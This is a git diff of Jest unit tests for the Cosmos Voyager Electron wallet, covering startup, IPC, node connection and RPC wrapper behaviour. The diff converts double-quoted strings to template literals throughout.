- jest.mock(root + "package.json", () => ({ version: "0.1.0" })) + jest.mock(root + `package.json`, () => ({ version: `0.1.0` })) // removed mocked genesis.json for these tests to check if starting up works beforeAll(() => { - fs.removeSync(testRoot + "genesis.json") + fs.removeSync(testRoot + `genesis.json`) }) - describe("Initialization", function() { + describe(`Initialization`, function() { mainSetup() - it("should create the config dir", async function() { + it(`should create the config dir`, async function() { expect(fs.existsSync(testRoot)).toBe(true) }) - xit("should init lcd server with correct testnet", async function() { + xit(`should init lcd server with correct testnet`, async function() { expect( childProcess.spawn.mock.calls.find( ([path, args]) => - path.includes("gaiacli") && - args.includes("init") && - args.join("=").includes("--chain-id=gaia-6002") + path.includes(`gaiacli`) && + args.includes(`init`) && + args.join(`=`).includes(`--chain-id=gaia-6002`) ) ).toBeDefined() }) - it("should start lcd server", async function() { + it(`should start lcd server`, async function() { expect( childProcess.spawn.mock.calls.find( ([path, args]) => - path.includes("gaiacli") && args.includes("rest-server") + path.includes(`gaiacli`) && args.includes(`rest-server`) ) ).toBeDefined() expect(main.processes.lcdProcess).toBeDefined() }) - it("should persist the app_version", async function() { - expect(fs.existsSync(testRoot + "app_version")).toBe(true) - let appVersion = fs.readFileSync(testRoot + "app_version", "utf8") - expect(appVersion).toBe("0.1.0") + it(`should persist the app_version`, async function() { + expect(fs.existsSync(testRoot + `app_version`)).toBe(true) + let appVersion = fs.readFileSync(testRoot + `app_version`, `utf8`) + expect(appVersion).toBe(`0.1.0`) }) }) - describe("Connection", function() { + describe(`Connection`, function() { mainSetup() - it("should error if it can't find a node to connect to", async () => { + it(`should error if it can't find a node to connect to`, async () => { main.shutdown() prepareMain() - let { send } = require("electron") + let { send } = require(`electron`) send.mockClear() jest.doMock( - "app/src/main/addressbook.js", + `app/src/main/addressbook.js`, () => class MockAddressbook { async pickNode() { - throw Error("no nodes") + throw Error(`no nodes`) } } ) // run main - main = await require(appRoot + "src/main/index.js") + main = await require(appRoot + `src/main/index.js`) expect( - send.mock.calls.filter(([type]) => type === "connected").length + send.mock.calls.filter(([type]) => type === `connected`).length ).toBe(0) // doesn't connect - expect(send.mock.calls.filter(([type]) => type === "error").length).toBe( + expect(send.mock.calls.filter(([type]) => type === `error`).length).toBe( 1 ) expect( - send.mock.calls.filter(([type]) => type === "error")[0][1].code - ).toBe("NO_NODES_AVAILABLE") + send.mock.calls.filter(([type]) => type === `error`)[0][1].code + ).toBe(`NO_NODES_AVAILABLE`) }) - it("should look for a node with a compatible SDK version", async () => { + it(`should look for a node with a compatible SDK version`, async () => { main.shutdown() prepareMain() const mockAxiosGet = jest .fn() - .mockReturnValueOnce(Promise.resolve({ data: "0.1.0" })) // should fail as expected version is 0.13.0 - .mockReturnValueOnce(Promise.resolve({ data: "0.13.2" })) // should succeed as in semver range + .mockReturnValueOnce(Promise.resolve({ data: `0.1.0` })) // should fail as expected version is 0.13.0 + .mockReturnValueOnce(Promise.resolve({ data: `0.13.2` })) // should succeed as in semver range // mock the version check request - jest.doMock("axios", () => ({ + jest.doMock(`axios`, () => ({ get: mockAxiosGet })) - let { send } = require("electron") + let { send } = require(`electron`) send.mockClear() // run main - main = await require(appRoot + "src/main/index.js") + main = await require(appRoot + `src/main/index.js`) expect(mockAxiosGet).toHaveBeenCalledTimes(2) - expect(send).toHaveBeenCalledWith("connected", "127.0.0.1:46657") + expect(send).toHaveBeenCalledWith(`connected`, `127.0.0.1:46657`) }) - it("should mark a version incompatible if getting the SDK version fails", async () => { + it(`should mark a version incompatible if getting the SDK version fails`, async () => { main.shutdown() prepareMain() // TODO replace with mockRejectOnce when updated jest let i = 0 - jest.doMock("axios", () => ({ + jest.doMock(`axios`, () => ({ get: async () => { if (i++ === 0) { - return Promise.reject("X") + return Promise.reject(`X`) } - return Promise.resolve({ data: "0.13.2" }) + return Promise.resolve({ data: `0.13.2` }) } })) let nodeIncompatibleSpy = jest.fn() - require("app/src/main/addressbook.js").prototype.flagNodeIncompatible = nodeIncompatibleSpy - let { send } = require("electron") + require(`app/src/main/addressbook.js`).prototype.flagNodeIncompatible = nodeIncompatibleSpy + let { send } = require(`electron`) send.mockClear() // run main - main = await require(appRoot + "src/main/index.js") + main = await require(appRoot + `src/main/index.js`) - expect(nodeIncompatibleSpy).toHaveBeenCalledWith("127.0.0.1:46657") - expect(send).toHaveBeenCalledWith("connected", "127.0.0.1:46657") // check we still connect to a node. it shows the same node as pickNode always returns "127.0.0.1:46657" in tests + expect(nodeIncompatibleSpy).toHaveBeenCalledWith(`127.0.0.1:46657`) + expect(send).toHaveBeenCalledWith(`connected`, `127.0.0.1:46657`) // check we still connect to a node. it shows the same node as pickNode always returns "127.0.0.1:46657" in tests }) }) - describe("Initialization in dev mode", function() { + describe(`Initialization in dev mode`, function() { beforeAll(async function() { jest.resetModules() Object.assign(process.env, { - NODE_ENV: "development", - LOGGING: "false" + NODE_ENV: `development`, + LOGGING: `false` }) }) @@ -264,123 +264,123 @@ describe("Startup Process", () => { }) mainSetup() - it("should create the config dir", async function() { + it(`should create the config dir`, async function() { expect(fs.existsSync(testRoot)).toBe(true) }) - xit("should init lcd server with correct testnet", async function() { + xit(`should init lcd server with correct testnet`, async function() { expect( childProcess.spawn.mock.calls.find( ([path, args]) => - path.includes("gaiacli") && - args.includes("init") && - args.join("=").includes("--chain-id=gaia-6002") + path.includes(`gaiacli`) && + args.includes(`init`) && + args.join(`=`).includes(`--chain-id=gaia-6002`) ) ).toBeDefined() }) - it("should start lcd server", async function() { + it(`should start lcd server`, async function() { expect( childProcess.spawn.mock.calls.find( ([path, args]) => - path.includes("gaiacli") && - args.includes("rest-server") && - args.join("=").includes("--chain-id=gaia-6002") + path.includes(`gaiacli`) && + args.includes(`rest-server`) && + args.join(`=`).includes(`--chain-id=gaia-6002`) ) ).toBeDefined() expect(main.processes.lcdProcess).toBeDefined() }) - it("should persist the app_version", async function() { - expect(fs.existsSync(testRoot + "app_version")).toBe(true) - let appVersion = fs.readFileSync(testRoot + "app_version", "utf8") - expect(appVersion).toBe("0.1.0") + it(`should persist the app_version`, async function() { + expect(fs.existsSync(testRoot + `app_version`)).toBe(true) + let appVersion = fs.readFileSync(testRoot + `app_version`, `utf8`) + expect(appVersion).toBe(`0.1.0`) }) }) - describe("Start initialized", function() { + describe(`Start initialized`, function() { mainSetup() - xit("should not init lcd server again", async function() { + xit(`should not init lcd server again`, async function() { expect( childProcess.spawn.mock.calls.find( - ([path, args]) => path.includes("gaiacli") && args.includes("init") + ([path, args]) => path.includes(`gaiacli`) && args.includes(`init`) ) ).toBeUndefined() }) - it("should start lcd server", async function() { + it(`should start lcd server`, async function() { expect( childProcess.spawn.mock.calls.find( ([path, args]) => - path.includes("gaiacli") && args.includes("rest-server") + path.includes(`gaiacli`) && args.includes(`rest-server`) ) ).toBeDefined() expect(main.processes.lcdProcess).toBeDefined() }) }) - describe("Update app version", function() { + describe(`Update app version`, function() { mainSetup() - it("should not replace the existing data", async function() { + it(`should not replace the existing data`, async function() { resetModulesKeepingFS() // alter the version so the main thread assumes an update - jest.mock(root + "package.json", () => ({ version: "1.1.1" })) - let { send } = require("electron") - await require(appRoot + "src/main/index.js") + jest.mock(root + `package.json`, () => ({ version: `1.1.1` })) + let { send } = require(`electron`) + await require(appRoot + `src/main/index.js`) - expect(send.mock.calls[0][0]).toBe("error") + expect(send.mock.calls[0][0]).toBe(`error`) expect(send.mock.calls[0][1].message).toContain( - "incompatible app version" + `incompatible app version` ) - let appVersion = fs.readFileSync(testRoot + "app_version", "utf8") - expect(appVersion).toBe("0.1.0") + let appVersion = fs.readFileSync(testRoot + `app_version`, `utf8`) + expect(appVersion).toBe(`0.1.0`) }) }) - describe("Update genesis.json", function() { + describe(`Update genesis.json`, function() { mainSetup() - it("should override the genesis.json file", async function() { + it(`should override the genesis.json file`, async function() { resetModulesKeepingFS() // alter the genesis so the main thread assumes a change let existingGenesis = JSON.parse( - fs.readFileSync(testRoot + "genesis.json", "utf8") + fs.readFileSync(testRoot + `genesis.json`, `utf8`) ) existingGenesis.genesis_time = new Date().toString() fs.writeFileSync( - testRoot + "genesis.json", + testRoot + `genesis.json`, JSON.stringify(existingGenesis) ) let specifiedGenesis = JSON.parse( - fs.readFileSync(testRoot + "genesis.json", "utf8") + fs.readFileSync(testRoot + `genesis.json`, `utf8`) ) - let { send } = require("electron") - await require(appRoot + "src/main/index.js") + let { send } = require(`electron`) + await require(appRoot + `src/main/index.js`) - expect(send.mock.calls[0][0]).toBe("connected") + expect(send.mock.calls[0][0]).toBe(`connected`) expect(existingGenesis).toEqual(specifiedGenesis) }) }) - describe("IPC", () => { + describe(`IPC`, () => { let registeredIPCListeners = {} let send function registerIPCListeners(registeredIPCListeners) { - const { ipcMain } = require("electron") + const { ipcMain } = require(`electron`) ipcMain.on = (type, cb) => { // the booted signal needs to be sent (from the view) for the main thread to signal events to the view - if (type === "booted") { + if (type === `booted`) { cb() return } - if (type === "hash-approved") { - cb(null, "1234567890123456789012345678901234567890") + if (type === `hash-approved`) { + cb(null, `1234567890123456789012345678901234567890`) return } registeredIPCListeners[type] = cb @@ -389,11 +389,11 @@ describe("Startup Process", () => { beforeEach(async function() { prepareMain() - send = require("electron").send + send = require(`electron`).send registerIPCListeners(registeredIPCListeners) - main = await require(appRoot + "src/main/index.js") + main = await require(appRoot + `src/main/index.js`) }) afterEach(function() { @@ -401,65 +401,65 @@ describe("Startup Process", () => { registeredIPCListeners = {} }) - it("should provide the connected node when the view has booted", async () => { + it(`should provide the connected node when the view has booted`, async () => { expect( - send.mock.calls.filter(([type]) => type === "connected").length + send.mock.calls.filter(([type]) => type === `connected`).length ).toBe(1) expect( - send.mock.calls.find(([type]) => type === "connected")[1] + send.mock.calls.find(([type]) => type === `connected`)[1] ).toBeTruthy() // TODO fix seeds so we can test nodeIP output }) - it("should reconnect on IPC call", async () => { + it(`should reconnect on IPC call`, async () => { // the lcd process gets terminated and waits for the exit to continue so we need to trigger this event in our mocked process as well main.processes.lcdProcess.on = (type, cb) => { - if (type === "exit") cb() + if (type === `exit`) cb() } - await registeredIPCListeners["reconnect"]() + await registeredIPCListeners[`reconnect`]() expect( - send.mock.calls.filter(([type]) => type === "connected").length + send.mock.calls.filter(([type]) => type === `connected`).length ).toBe(2) }) - it("should stop the LCD on IPC call", async () => { - let killSpy = jest.spyOn(main.processes.lcdProcess, "kill") - await registeredIPCListeners["stop-lcd"]() + it(`should stop the LCD on IPC call`, async () => { + let killSpy = jest.spyOn(main.processes.lcdProcess, `kill`) + await registeredIPCListeners[`stop-lcd`]() expect(killSpy).toHaveBeenCalled() }) - it("should report connection messages", async () => { + it(`should report connection messages`, async () => { prepareMain() jest.doMock( - "app/src/main/addressbook.js", + `app/src/main/addressbook.js`, () => class MockAddressbook { constructor(config, root, { onConnectionMessage }) { this.onConnectionMessage = onConnectionMessage } async pickNode() { - this.onConnectionMessage("HALLO WORLD") - return "127.0.0.1:46657" + this.onConnectionMessage(`HALLO WORLD`) + return `127.0.0.1:46657` } } ) - let { send } = require("electron") + let { send } = require(`electron`) send.mockClear() - await require(appRoot + "src/main/index.js") - expect(send).toHaveBeenCalledWith("connection-status", "HALLO WORLD") + await require(appRoot + `src/main/index.js`) + expect(send).toHaveBeenCalledWith(`connection-status`, `HALLO WORLD`) }) - it("should not start reconnecting again if already trying to reconnect", async done => { + it(`should not start reconnecting again if already trying to reconnect`, async done => { // the lcd process gets terminated and waits for the exit to continue so we need to trigger this event in our mocked process as well main.processes.lcdProcess.on = (type, cb) => { - if (type === "exit") cb() + if (type === `exit`) cb() } jest.doMock( - "app/src/main/addressbook.js", + `app/src/main/addressbook.js`, () => class MockAddressbook { constructor() { @@ -469,8 +469,8 @@ describe("Startup Process", () => { try { expect(this.calls).toBe(0) this.calls++ - await registeredIPCListeners["reconnect"]() - return "127.0.0.1:46657" + await registeredIPCListeners[`reconnect`]() + return `127.0.0.1:46657` } catch (err) { done.fail(err) } @@ -478,55 +478,55 @@ describe("Startup Process", () => { } ) - await registeredIPCListeners["reconnect"]() + await registeredIPCListeners[`reconnect`]() done() }) - it("should print a success message if connected to node", async () => { - let consoleSpy = jest.spyOn(console, "log") - registeredIPCListeners["successful-launch"]() - expect(consoleSpy.mock.calls[0][0]).toContain("[START SUCCESS]") + it(`should print a success message if connected to node`, async () => { + let consoleSpy = jest.spyOn(console, `log`) + registeredIPCListeners[`successful-launch`]() + expect(consoleSpy.mock.calls[0][0]).toContain(`[START SUCCESS]`) consoleSpy.mockRestore() }) - it("should provide the error if the main process failed before the view has booted", async () => { + it(`should provide the error if the main process failed before the view has booted`, async () => { main.shutdown() // simulate error by deleting a file resetModulesKeepingFS() - fs.removeSync(join(testRoot, "genesis.json")) + fs.removeSync(join(testRoot, `genesis.json`)) // register listeners again as we rest the modules registerIPCListeners(registeredIPCListeners) // run main - main = await require(appRoot + "src/main/index.js") + main = await require(appRoot + `src/main/index.js`) - let { send } = require("electron") - expect(send.mock.calls[0][0]).toEqual("error") + let { send } = require(`electron`) + expect(send.mock.calls[0][0]).toEqual(`error`) expect(send.mock.calls[0][1]).toBeTruthy() // TODO fix seeds so we can test nodeIP output }) - it("should try another node if user disapproved the hash", async () => { + it(`should try another node if user disapproved the hash`, async () => { main.shutdown() prepareMain() - const { ipcMain } = require("electron") + const { ipcMain } = require(`electron`) ipcMain.on = (type, cb) => { // the booted signal needs to be sent (from the view) for the main thread to signal events to the view - if (type === "booted") { + if (type === `booted`) { cb() return } // disapprove first hash - if (type === "hash-disapproved") { - cb(null, "1234567890123456789012345678901234567890") + if (type === `hash-disapproved`) { + cb(null, `1234567890123456789012345678901234567890`) // approve second hash ipcMain.on = (type, cb) => { - if (type === "hash-approved") { - cb(null, "1234567890123456789012345678901234567890") + if (type === `hash-approved`) { + cb(null, `1234567890123456789012345678901234567890`) return } } @@ -534,21 +534,21 @@ describe("Startup Process", () => { } // run main - main = await require(appRoot + "src/main/index.js") + main = await require(appRoot + `src/main/index.js`) expect( - send.mock.calls.filter(([type]) => type === "connected").length + send.mock.calls.filter(([type]) => type === `connected`).length ).toBe(1) }) }) - describe("Error handling", function() { + describe(`Error handling`, function() { afterEach(function() { main.shutdown() }) - it("should error on gaiacli crashing on reconnect instead of breaking", async () => { + it(`should error on gaiacli crashing on reconnect instead of breaking`, async () => { await initMain() - let { send } = require("electron") + let { send } = require(`electron`) childProcess.spawn = () => ({ stdout: { on: () => {}, @@ -557,7 +557,7 @@ describe("Startup Process", () => { stderr: { on: (type, cb) => { // type is always 'data' - cb(Buffer.from("Some error")) + cb(Buffer.from(`Some error`)) }, pipe: () => {} }, @@ -567,13 +567,13 @@ describe("Startup Process", () => { }) await main.eventHandlers.reconnect() expect( - send.mock.calls.find(([type]) => type === "error") + send.mock.calls.find(([type]) => type === `error`) ).toMatchSnapshot() }) - it("should error on gaiacli crashing async instead of breaking", async () => { + it(`should error on gaiacli crashing async instead of breaking`, async () => { await initMain() - let { send } = require("electron") + let { send } = require(`electron`) let errorCB childProcess.spawn = () => ({ stdout: { @@ -592,45 +592,45 @@ describe("Startup Process", () => { removeAllListeners: () => {} }) await main.eventHandlers.reconnect() - expect(send.mock.calls.find(([type]) => type === "error")).toBeUndefined() + expect(send.mock.calls.find(([type]) => type === `error`)).toBeUndefined() - errorCB(Buffer.from("Gaiacli errord asynchronous")) + errorCB(Buffer.from(`Gaiacli errord asynchronous`)) expect( - send.mock.calls.find(([type]) => type === "error") + send.mock.calls.find(([type]) => type === `error`) ).not.toBeUndefined() expect( - send.mock.calls.find(([type]) => type === "error") + send.mock.calls.find(([type]) => type === `error`) ).toMatchSnapshot() }) - it("should fail if config.toml has no seeds", async () => { + it(`should fail if config.toml has no seeds`, async () => { main = await initMain() main.shutdown() - let configText = fs.readFileSync(join(testRoot, "config.toml"), "utf8") + let configText = fs.readFileSync(join(testRoot, `config.toml`), `utf8`) configText = configText - .split("\n") + .split(`\n`) .map(line => { - if (line.startsWith("seeds")) { - return 'seeds = ""' - } else if (line.startsWith("persistent_peers")) { - return 'persistent_peers = ""' + if (line.startsWith(`seeds`)) { + return `seeds = ""` + } else if (line.startsWith(`persistent_peers`)) { + return `persistent_peers = ""` } else { return line } }) - .join("\n") - fs.writeFileSync(join(testRoot, "config.toml"), configText, "utf8") + .join(`\n`) + fs.writeFileSync(join(testRoot, `config.toml`), configText, `utf8`) resetModulesKeepingFS() - let { send } = require("electron") - main = await require(appRoot + "src/main/index.js") + let { send } = require(`electron`) + main = await require(appRoot + `src/main/index.js`) - expect(send.mock.calls[0][0]).toBe("error") - expect(send.mock.calls[0][1].message).toContain("seeds") + expect(send.mock.calls[0][0]).toBe(`error`) + expect(send.mock.calls[0][1].message).toContain(`seeds`) }) - describe("missing files", () => { + describe(`missing files`, () => { let send beforeEach(async () => { @@ -640,50 +640,50 @@ describe("Startup Process", () => { main.shutdown() resetModulesKeepingFS() - let { send: _send } = require("electron") + let { send: _send } = require(`electron`) send = _send }) afterEach(async () => { main.shutdown() }) - it("should error if the genesis.json being removed", async () => { - fs.removeSync(join(testRoot, "genesis.json")) - main = await require(appRoot + "src/main/index.js") + it(`should error if the genesis.json being removed`, async () => { + fs.removeSync(join(testRoot, `genesis.json`)) + main = await require(appRoot + `src/main/index.js`) - expect(send.mock.calls[0][0]).toBe("error") + expect(send.mock.calls[0][0]).toBe(`error`) }) - it("should error if the config.toml being removed", async () => { - fs.removeSync(join(testRoot, "config.toml")) - main = await require(appRoot + "src/main/index.js") + it(`should error if the config.toml being removed`, async () => { + fs.removeSync(join(testRoot, `config.toml`)) + main = await require(appRoot + `src/main/index.js`) - expect(send.mock.calls[0][0]).toBe("error") + expect(send.mock.calls[0][0]).toBe(`error`) }) - it("should error if the app_version being removed", async () => { - fs.removeSync(join(testRoot, "app_version")) - main = await require(appRoot + "src/main/index.js") + it(`should error if the app_version being removed`, async () => { + fs.removeSync(join(testRoot, `app_version`)) + main = await require(appRoot + `src/main/index.js`) - expect(send.mock.calls[0][0]).toBe("error") + expect(send.mock.calls[0][0]).toBe(`error`) }) - xit("should survive the lcd folder being removed", async () => { - fs.removeSync(join(testRoot, "lcd")) + xit(`should survive the lcd folder being removed`, async () => { + fs.removeSync(join(testRoot, `lcd`)) resetModulesKeepingFS() - let { send } = require("electron") - main = await require(appRoot + "src/main/index.js") + let { send } = require(`electron`) + main = await require(appRoot + `src/main/index.js`) expect( childProcess.spawn.mock.calls.find( - ([path, args]) => path.includes("gaiacli") && args.includes("init") + ([path, args]) => path.includes(`gaiacli`) && args.includes(`init`) ).length ).toBe(3) // one to check in first round, one to check + one to init in the second round - expect(send.mock.calls[0][0]).toBe("connected") + expect(send.mock.calls[0][0]).toBe(`connected`) }) }) }) - describe("Error handling on init", () => { + describe(`Error handling on init`, () => { // testFailingChildProcess("gaiacli", "init") - testFailingChildProcess("gaiacli", "rest-server") + testFailingChildProcess(`gaiacli`, `rest-server`) }) }) @@ -701,30 +701,30 @@ function mainSetup() { function prepareMain() { // restart main with a now initialized state jest.resetModules() - childProcess = require("child_process") + childProcess = require(`child_process`) // have the same mocked fs as main uses // this is reset with jest.resetModules - fs = require("fs-extra") + fs = require(`fs-extra`) - const Raven = require("raven") + const Raven = require(`raven`) Raven.disableConsoleAlerts() jest.mock( - "app/src/main/addressbook.js", + `app/src/main/addressbook.js`, () => class MockAddressbook { async pickNode() { - return "127.0.0.1:46657" + return `127.0.0.1:46657` } flagNodeIncompatible() {} } ) // mock the version check request - jest.mock("axios", () => ({ + jest.mock(`axios`, () => ({ get: async url => { - if (url.indexOf("node_version") !== -1) { - return { data: "0.13.0" } + if (url.indexOf(`node_version`) !== -1) { + return { data: `0.13.0` } } } })) @@ -733,30 +733,30 @@ function prepareMain() { async function initMain() { prepareMain() - main = await require(appRoot + "src/main/index.js") + main = await require(appRoot + `src/main/index.js`) expect(main).toBeDefined() return main } function testFailingChildProcess(name, cmd) { return it(`should fail if there is a not handled error in the ${name} ${cmd || - ""} process`, async function() { + ``} process`, async function() { failingChildProcess(name, cmd) prepareMain() - let { send } = require("electron") - await require(appRoot + "src/main/index.js") + let { send } = require(`electron`) + await require(appRoot + `src/main/index.js`) - expect(send.mock.calls.find(([type]) => type === "error")).toBeTruthy() + expect(send.mock.calls.find(([type]) => type === `error`)).toBeTruthy() expect( send.mock.calls - .find(([type]) => type === "error")[1] + .find(([type]) => type === `error`)[1] .message.toLowerCase() ).toContain(name) }) } function childProcessMock(mockExtend = () => ({})) { - jest.doMock("child_process", () => ({ + jest.doMock(`child_process`, () => ({ spawn: jest.fn((path, args) => Object.assign( {}, @@ -782,14 +782,14 @@ function childProcessMock(mockExtend = () => ({})) { function failingChildProcess(mockName, mockCmd) { childProcessMock((path, args) => ({ on: (type, cb) => { - if (type === "exit") { + if (type === `exit`) { if ( path.includes(mockName) && (mockCmd === undefined || args.find(x => x === mockCmd)) ) { cb(-1) // init processes always should return with 0 - } else if (args.find(x => x === "init")) { + } else if (args.find(x => x === `init`)) { cb(0) } } @@ -812,28 +812,28 @@ function failingChildProcess(mockName, mockCmd) { function resetModulesKeepingFS() { let fileSystem = fs.fs jest.resetModules() - fs = require("fs-extra") + fs = require(`fs-extra`) fs.fs = fileSystem // we want to keep Raven quiet - const Raven = require("raven") + const Raven = require(`raven`) Raven.disableConsoleAlerts() } function mockConfig() { - jest.mock("app/src/config.js", () => ({ - name: "Cosmos Voyager", + jest.mock(`app/src/config.js`, () => ({ + name: `Cosmos Voyager`, wds_port: 9080, lcd_port: 9070, lcd_port_prod: 9071, relay_port: 9060, relay_port_prod: 9061, - default_network: "gaia-5001", + default_network: `gaia-5001`, mocked: false, - google_analytics_uid: "UA-51029217-3", - sentry_dsn: "https://abc:def@sentry.io/288169", - sentry_dsn_public: "https://abc@sentry.io/288169" + google_analytics_uid: `UA-51029217-3`, + sentry_dsn: `https://abc:def@sentry.io/288169`, + sentry_dsn_public: `https://abc@sentry.io/288169` })) } diff --git a/test/unit/specs/node.spec.js b/test/unit/specs/node.spec.js index 375858e55e..b58ba5207a 100644 --- a/test/unit/specs/node.spec.js +++ b/test/unit/specs/node.spec.js @@ -1,47 +1,47 @@ let Node -describe("Connector", () => { - let lcdServerPort = "1234" +describe(`Connector`, () => { + let lcdServerPort = `1234` beforeAll(() => { jest.mock( - "renderer/connectors/lcdClient", + `renderer/connectors/lcdClient`, () => class LCDClient { fooLcd() { - return "lcdBar" + return `lcdBar` } } ) - jest.mock("renderer/connectors/lcdClientMock", () => ({ + jest.mock(`renderer/connectors/lcdClientMock`, () => ({ fooLcd() { - return "lcdBarMock" + return `lcdBarMock` } })) - jest.mock("renderer/connectors/rpcWrapper", () => () => ({ - fooRpc: "rpcBar" + jest.mock(`renderer/connectors/rpcWrapper`, () => () => ({ + fooRpc: `rpcBar` })) - jest.mock("renderer/connectors/rpcWrapperMock", () => () => ({ - fooRpc: "rpcBarMock" + jest.mock(`renderer/connectors/rpcWrapperMock`, () => () => ({ + fooRpc: `rpcBarMock` })) - Node = require("renderer/connectors/node") + Node = require(`renderer/connectors/node`) }) - it("should hold the lcdPort", () => { + it(`should hold the lcdPort`, () => { let node = Node(lcdServerPort) expect(node.lcdPort).toBe(lcdServerPort) }) - it("should setup the connectors", () => { + it(`should setup the connectors`, () => { let node = Node(lcdServerPort) - expect(node.fooRpc).toBe("rpcBar") - expect(node.fooLcd()).toBe("lcdBar") + expect(node.fooRpc).toBe(`rpcBar`) + expect(node.fooLcd()).toBe(`lcdBar`) }) - it("should setup the mock connectors", () => { + it(`should setup the mock connectors`, () => { let node = Node(lcdServerPort, true) - expect(node.fooRpc).toBe("rpcBarMock") - expect(node.fooLcd()).toBe("lcdBarMock") + expect(node.fooRpc).toBe(`rpcBarMock`) + expect(node.fooLcd()).toBe(`lcdBarMock`) }) }) diff --git a/test/unit/specs/releasePullRequest.js b/test/unit/specs/releasePullRequest.js index ad763b676c..6e11101c34 100644 --- a/test/unit/specs/releasePullRequest.js +++ b/test/unit/specs/releasePullRequest.js @@ -45,17 +45,17 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. test(`updatePackageJson`, () => { const previous = { - name: "cosmos-voyager", - productName: "Cosmos Voyager", - version: "0.6.1" + name: `cosmos-voyager`, + productName: `Cosmos Voyager`, + version: `0.6.1` } const newVersion = `0.6.2` const updated = { - name: "cosmos-voyager", - productName: "Cosmos Voyager", - version: "0.6.2" + name: `cosmos-voyager`, + productName: `Cosmos Voyager`, + version: `0.6.2` } expect(release.updatePackageJson(previous, newVersion)).toEqual(updated) diff --git a/test/unit/specs/root.spec.js b/test/unit/specs/root.spec.js index f1470db0e4..c29f931229 100644 --- a/test/unit/specs/root.spec.js +++ b/test/unit/specs/root.spec.js @@ -1,38 +1,38 @@ -const { join } = require("path") -const { homedir } = require("os") -const mockFsExtra = require("../helpers/fs-mock").default +const { join } = require(`path`) +const { homedir } = require(`os`) +const mockFsExtra = require(`../helpers/fs-mock`).default -describe("Root UI Directory", () => { +describe(`Root UI Directory`, () => { Object.assign(process.env, { - NODE_ENV: "development", - COSMOS_NETWORK: "app/networks/gaia-6002", - COSMOS_HOME: "" + NODE_ENV: `development`, + COSMOS_NETWORK: `app/networks/gaia-6002`, + COSMOS_HOME: `` }) - jest.mock("fs-extra", () => { - let fs = require("fs") + jest.mock(`fs-extra`, () => { + let fs = require(`fs`) let mockFs = mockFsExtra() mockFs.writeFile( - "./app/networks/gaia-6002/genesis.json", + `./app/networks/gaia-6002/genesis.json`, fs.readFileSync( - "./test/unit/helpers/mockNetworkConfig/genesis.json", - "utf8" + `./test/unit/helpers/mockNetworkConfig/genesis.json`, + `utf8` ) ) return mockFs }) - it("should create the correct path", () => { - let root = require("../../../app/src/root.js") - expect(root).toBe(join(homedir(), ".cosmos-voyager-dev/gaia-6002")) + it(`should create the correct path`, () => { + let root = require(`../../../app/src/root.js`) + expect(root).toBe(join(homedir(), `.cosmos-voyager-dev/gaia-6002`)) }) - it("should use COSMOS_HOME as default", () => { + it(`should use COSMOS_HOME as default`, () => { Object.assign(process.env, { - COSMOS_HOME: "./abc" + COSMOS_HOME: `./abc` }) jest.resetModules() - let root = require("../../../app/src/root.js") - expect(root).toBe("./abc") + let root = require(`../../../app/src/root.js`) + expect(root).toBe(`./abc`) }) }) diff --git a/test/unit/specs/rpcWrapper.spec.js b/test/unit/specs/rpcWrapper.spec.js index ceb6b4f951..0ee42f25e2 100644 --- a/test/unit/specs/rpcWrapper.spec.js +++ b/test/unit/specs/rpcWrapper.spec.js @@ -1,9 +1,9 @@ -describe("RPC Connector", () => { +describe(`RPC Connector`, () => { let connector = {} function newConnector() { jest.resetModules() - const RpcWrapper = require("renderer/connectors/rpcWrapper") + const RpcWrapper = require(`renderer/connectors/rpcWrapper`) connector = {} let newRpcClient = RpcWrapper(connector) @@ -12,84 +12,84 @@ describe("RPC Connector", () => { } beforeEach(() => { - jest.mock("tendermint", () => () => ({ + jest.mock(`tendermint`, () => () => ({ on() {}, removeAllListeners() {}, ws: { destroy() {} } })) - jest.mock("electron", () => ({ ipcRenderer: { send: () => jest.fn() } })) + jest.mock(`electron`, () => ({ ipcRenderer: { send: () => jest.fn() } })) newConnector() }) - it("should provide the nodeIP", () => { - connector.rpcConnect("1.1.1.1") - expect(connector.rpcInfo.nodeIP).toBe("1.1.1.1") + it(`should provide the nodeIP`, () => { + connector.rpcConnect(`1.1.1.1`) + expect(connector.rpcInfo.nodeIP).toBe(`1.1.1.1`) }) - it("should init the rpc connection", () => { - connector.rpcConnect("localhost") + it(`should init the rpc connection`, () => { + connector.rpcConnect(`localhost`) expect(connector.rpc).toBeDefined() expect(connector.rpcInfo.connected).toBe(true) }) - it("should remember if it could not connect via rpc", () => { - jest.mock("tendermint", () => () => ({ + it(`should remember if it could not connect via rpc`, () => { + jest.mock(`tendermint`, () => () => ({ on(value, cb) { - if (value === "error") { - cb({ code: "ECONNREFUSED" }) + if (value === `error`) { + cb({ code: `ECONNREFUSED` }) } } })) newConnector() - connector.rpcConnect("localhost") + connector.rpcConnect(`localhost`) expect(connector.rpc).toBeDefined() expect(connector.rpcInfo.connected).toBe(false) }) - it("should not react to error codes not meaning connection failed", () => { - jest.mock("tendermint", () => () => ({ + it(`should not react to error codes not meaning connection failed`, () => { + jest.mock(`tendermint`, () => () => ({ on(value, cb) { - if (value === "error") { - cb({ code: "ABCD" }) + if (value === `error`) { + cb({ code: `ABCD` }) } } })) - connector.rpcConnect("localhost") + connector.rpcConnect(`localhost`) expect(connector.rpc).toBeDefined() expect(connector.rpcInfo.connected).toBe(true) }) - it("should cleanup the old websocket when connecting again", () => { - connector.rpcConnect("localhost") + it(`should cleanup the old websocket when connecting again`, () => { + connector.rpcConnect(`localhost`) - let spyListeners = jest.spyOn(connector.rpc, "removeAllListeners") - let spyDestroy = jest.spyOn(connector.rpc.ws, "destroy") + let spyListeners = jest.spyOn(connector.rpc, `removeAllListeners`) + let spyDestroy = jest.spyOn(connector.rpc.ws, `destroy`) - connector.rpcConnect("localhost") + connector.rpcConnect(`localhost`) - expect(spyListeners).toHaveBeenCalledWith("error") + expect(spyListeners).toHaveBeenCalledWith(`error`) expect(spyDestroy).toHaveBeenCalled() }) - describe("reconnect", () => { + describe(`reconnect`, () => { beforeEach(() => { - jest.mock("tendermint", () => () => ({ + jest.mock(`tendermint`, () => () => ({ on() {}, removeAllListeners() {}, ws: { destroy() {} } })) }) - it("should signal a reconnect intent to the main thread", async () => { - const { ipcRenderer } = require("electron") + it(`should signal a reconnect intent to the main thread`, async () => { + const { ipcRenderer } = require(`electron`) ipcRenderer.send = jest.fn() connector.rpcReconnect() - expect(ipcRenderer.send).toHaveBeenCalledWith("reconnect") + expect(ipcRenderer.send).toHaveBeenCalledWith(`reconnect`) }) 